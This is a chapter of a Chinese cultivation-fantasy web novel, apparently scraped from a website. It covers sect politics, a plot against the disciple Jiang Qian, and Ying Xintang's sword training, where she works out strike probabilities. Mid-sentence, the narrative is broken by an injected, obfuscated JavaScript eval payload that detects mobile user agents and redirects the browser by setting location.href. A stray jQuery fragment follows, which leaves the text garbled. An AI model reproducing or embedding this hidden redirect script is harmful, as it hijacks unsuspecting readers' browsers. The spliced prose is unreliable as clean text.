第五十八章吾爱尚年少
翌日,一行人安全回到宗门。
郑原要详细上报此行任务各个弟子表现,另交待应心瑭先带向莲去宗门看看。
姜遣先去复礼堂露了个面,随后就去拜见代替掌门决断要事的真传长老。
也就是掌门刻羽真人的同尊师弟,晨前君殷果。
殷果还比姜遣小两岁,听完师侄汇报,直接道:“这些抓散修的人来历不明,你就接着查。”
看着姜遣恭肃的脸,他唇角两边酒窝明显,又笑道:“咱俩换换多好。你当师叔,我当师侄儿——”
已经习惯这位小师叔作风的姜遣,眉头还是压不住地一跳,告辞而去。
殷果等师侄云岑君姜遣走后,盘坐在矮茶桌边用真力烧茶,等下一个师侄儿。
诸己堂执事真传弟子,遥乐君于清淙,不过须臾已来拜见。
“小师叔,许子庭在鲁国已周旋两日。”
殷果见到于清淙,唇角酒窝更深,招招手快声快语:“清淙坐下说,来见我不用这么多礼数。”
于清淙施礼后才坐下:“叶行出手伤人在先,对方不肯放人,还是我去一趟。我已经传信许师弟先回来。”
“那鲁国大夫的公子无端受伤,自是不肯轻易放人。这个叶行,上个月新弟子比试,对同台的应心瑭出手极重。”殷果说着,掀开茶壶盖看了眼。
滚烫的茶水中,雨后晨前毛峰,已经根根竖起。
如一把把利剑,似一挺挺钢刀。
半满未盈的茶盏,递到于清淙那边儿。
殷果抬眼:“且让叶行好好想想,愿不愿意说清楚,与人起冲突究竟所为何事。新弟子第二次比试就这几天,你是战技弟子的试炼人,暂时不能走开。”
于清淙点点头:“上次你让我关注下叶行,我也问他比试规则点到为止,他为何对应心瑭下手极重。可他说,既是比试,就要尽全力,他的剑气就这样。”
顿了下,她又道:“小师叔,叶行除了与应心瑭比试时出手重,平日表现中规中矩。我猜,他这次冒然伤人,会不会与他少得那只眼睛有关。”
殷果听着于清淙关切的话语,想起叶行从一入门,就用布条遮着右眼,神情凝重了些:“我以代掌门的身份,保叶行暂时不被鲁国处置。你试炼战技流新弟子后,就亲自去一趟。”
“是。”于清淙恭敬道。
事关自己宗门弟子,她作为诸己堂的执事师姐,责无旁贷。
-
鲁国,许子庭早已接到于师姐的传信。
不过他没即刻启程回宗门,而是在质问秦不竭。
许子庭从郑原的传信得知,除了姜遣,其余人也差点被暗算。
“不是说好了,除掉姜遣一个人!”
秦不竭不紧不慢说道:“是啊。我埋伏其余人,只是想让活捉值钱的向莲。许哥哥,你对那些弟子感情有这么深吗?是舍不得郑原吧。”
“说这些做什么。现在姜遣没死,我回去怎么办?”许子庭来回踱步,脚步杂乱。
“那怎么了?你一点把柄也没留啊,尽管回去。你是自小在宗门长大的,不待见姜遣的也未必只有你一个。你别单打独斗啊——”
“我——我还能回去?”许子庭声调发虚。
秦不竭握住许子庭的手,塞给他一瓶丹药,目光关切:“回去凝结真元成为上人,修为比他强,地位比他高,以后就是你使唤姜遣去死。”
看着许子庭惶惶然的脸色慢慢安静下来,秦不竭又好言相劝一番才离开。
见到宗门使者时,她面容早已没了见许子庭时的天真关切,眼中精光一闪,说道:“吕国离忎峄门不够远,不如另选个地方祭炼阵旗,也好等宗门另派的弟子过来。”
“哪里?”与姜遣一战的黑斗篷男修,脸色发黑眼珠浑浊,尚在恢复元神。
秦不竭对答如流:“庄国离忎峄门更远,无极门逍遥不问世事,海王宗都是妖修不管人修争斗。只要再绊住多管闲事的姜遣,就万无一失。”
-
姜遣从岁寒峰下来,通过画符感知到应心瑭所在。
授业道内,他远远地看着。
应心瑭拉着向莲的手,领着她在四经馆、五德斋、六艺轩,八雅阁逛了一圈。
郑师姐说了,修真界有个别无良宗门见到修行好苗子,不惜杀人父母再冒充恩人将孩子带走。
忎峄门可不会这样,即便是为了保护向莲才希望她留下,也需要向莲自愿。
“这里就是八雅阁,花阁就在那边的讲法堂。你先去听一堂,快下堂的时候我来接你。我就在那边剑阁,离你很近。”
应心瑭陪着向莲进去坐下听了一会儿,见向莲听得专注,放心地离开去往同在一道的剑阁。
剑阁内,周孟夏正在挥剑。
见到舍友,她铜铃大眼一眨:“回来了。”
“想我了。”应心瑭执剑,头也不转,直接挥剑。
周孟夏语气骄矜:“多久了,还在练基础剑术第一式——刺。”
应心瑭这下侧过头,只见周孟夏已经在修习基础剑术第十二式——削。
“你怎么这么快?”
“哼——”周孟夏头一扬。
她天天把剑桩当成钟离宥砍,进展自然快。
应心瑭转过头,继续练一个刺。
宗门将剑术修习分为三等,初等修习二十四剑式,中等上强度练剑招,高等就是对战演练。
应心瑭现在和周孟夏等人都在初等剑堂。
她自己因为是战技开窍,还选了宗门配套《风德心法》的《七十二路剑术真解》。
这《七十二路剑术真解》,要比剑阁初等剑堂修习的基础二十四式,更为精妙。
分为——
基础剑术二十式:刺绞云点、劈挂撩带、亮展扫削、崩剪挑截、收落勒抱。
拓展剑术二十式:反戏卷顺、翻推伏望、藏探倒献、捉赶追贯、流跳钩划。
另有创新剑术三十二式。
应心瑭有多年练短刀的经验,明白出刀要将短刀当成自己的手腕手指使用才行。
她猜到周孟夏应该是身负剑骨之人,再者周孟夏还能用法力御剑,哪怕挥剑有所偏差,也可以用法力纠正准度弥补力道。
而她不行,她没有法力御剑。
精通七十二剑式,手中剑成为自己身体的一部分,才是她身为战技流要走的路。
周孟夏击中剑桩的准确度在十之九点八左右。
如此小的偏差,已经是初等剑堂弟子中的佼佼者,何况她出剑速度还不慢。
她满意自己超过应心瑭太多,想着明日就能修习十三剑式,将钟离宥也远远甩开。
又削出一剑的刹那,噼里啪啦一阵速响,她震惊地看见旁边的剑桩碎成小块了。
初等剑堂长老惊喜地闪到应心瑭身侧,终于有个弟子连续快速击中剑桩二十四要脉的准确度是十成十。
这个应心瑭修炼剑术的速度数得着地慢,他一直没怎么关注,只管她完成定量挥剑次数。
“应——应心瑭吗?”
“是。”应心瑭无语,这个剑桩怎么坏了,不会要扣勋绩吧。
“你可以去中等剑堂了。”长老踢了踢一地剑桩碎块说道。
“多——”钱?
应心瑭刚说出一个字,顿时了然,她这是达到中等剑术水准了。
“可——长老,我才练成第一剑式刺,剩下的还不会呢。”
周孟夏也懵了,凭什么应心瑭可以去中等剑堂。
“对,长老,她只会刺。”
剑堂长老也是懵得,初等剑堂弟子太多,他不可能挨个照顾到。
更何况,去太初学宫参加执剑人比试的,自然是最出挑的弟子。
“你才练到第一式?那——先在初等剑堂练着。”
真有耐心,这进度,垫底了……他得找战师姐商量一下。
周孟夏喊道:“长老,为什么她的剑桩碎成这样,就可以去中等剑堂?”
这不跟自己的击中率差不多嘛,而应心瑭修习进度还跟蜗牛爬似得。
“别问她,看你自
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163155|161126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己的击中率。每一剑,都差十之零点二左右。”
周孟夏还是懵得:“差十之零点二左右,又不是差十之二。”
“自己好好想想。”剑堂长老语重心长地提点。
周孟夏:……我想得通还问你!
应心瑭靠过去说道:“我给你算算。”
“算什么?”周孟夏嘟着嘴。
她讨厌宗门长老这样的做派,有什么不能说清楚嘛。
去哪个讲法堂,都能听见“自己好好想想”这句话。
应心瑭指着剑桩说:“你看啊,假设你的对手是这个自带防御的剑桩。你需要刺中它二十四要脉才能让之败下阵来。”
“嗯,然后呢,我剑剑都正中要脉啊。”周孟夏任由舍友对自己勾肩搭背,她想知道自己差在哪儿。
应心瑭接着道:“再假设不论你二十四剑都是刺,还是二十四式全用上,你的命中率都在十之九点八。”
“那么——以这样的偏差率,你连续出二十四剑之后,击溃它的概率就是——”
应心瑭拿出演算阵盘点了点,说道:“只剩六成。”
“怎么只有六成?”周孟夏抢过演算阵盘,又算了一遍。
“真的是这样——”
周围不少弟子也聚了过来。
周孟夏这样的水准,打碎剑桩的概率只有六成,那他们不是没救了。
应心瑭还没说完呢。
“这是按你剑剑出招都能有你第一剑的水准,也就是剑剑命中率相互独立不影响来算得。”
“那要是每一剑还影响下一剑呢?”有人不等周孟夏开口,抢问。
应心瑭娓娓道来:“若是第一剑有偏差,身形动作不标准,肌骨用力不到位,经脉运气不流畅,导致第二剑衔接时偏差更大,一次次叠加影响下去,从第二剑开始,出剑的准度和速度,就会越来越低,那击败对手的概率远低于六成。”
“而且——”
应心瑭话一顿,轻咳一声,故作高深才道:“这还是假设对手是个站那不动只会防御的剑桩。若是到了高等剑堂,碰见得都是会反击的对手呢,那偏差是不是——”
小时候,师叔就是这么给她算,每次出刀都得过且过的话,最后会变得多差劲。
“那打败对手的概率能剩零点零一成吗——天哪——”
“想什么呢——自己算算,万分之一的希望都没有。”
“原来,我们与高等剑堂的师兄师姐,是天壤之别!”
“所以我们才在初等剑堂嘛——”隋俞挤过来一脸笑。
……
剑堂长老重重一咳,在众弟子纷纷安静下来,才道:“你们能想明白自己差在哪里,还是不错得。人——贵有自知之明。”
切——众弟子你看我我看你。
刚才周孟夏问,你怎么不说明白,我看你也不会算吧。
-
姜遣在剑堂外边儿,听着应心瑭算来算去。
一直等到她从剑阁下堂,又远远地跟上去。
看应心瑭从花阁接走向莲,与周孟夏一起去饭堂。
拉手,搭肩,说笑,玩闹……
姜遣一路过去,像是以真传师兄的身份,在外院弟子活动的地方看看。
与应心瑭三人面对面越来越近时,他听见夹在亮声柔语中的天籁之声。
“姜师兄好!”周孟夏说话响亮。
“姜师兄好。”向莲轻声软语。
“姜师兄好——”这是姜遣最想听的天籁之声。
安安静静地一路关注,终于换来“不期而遇”的一句“姜师兄好”。
姜遣在擦肩而过之后转身,看着中间活蹦乱跳的那个清逸身影,如幽深潭渊的眼底,满是无奈之色。
吾爱尚年少,不识情滋味。
姜遣不愿就此离去,待了一会儿看着应心瑭进了惜时六院。
可没多久,他又看见应心瑭很快出来了。
远远地望着应心瑭所去的方向,他双拳猛地握紧。
应心瑭还有个秘密任务,帮白时寻压制魔印。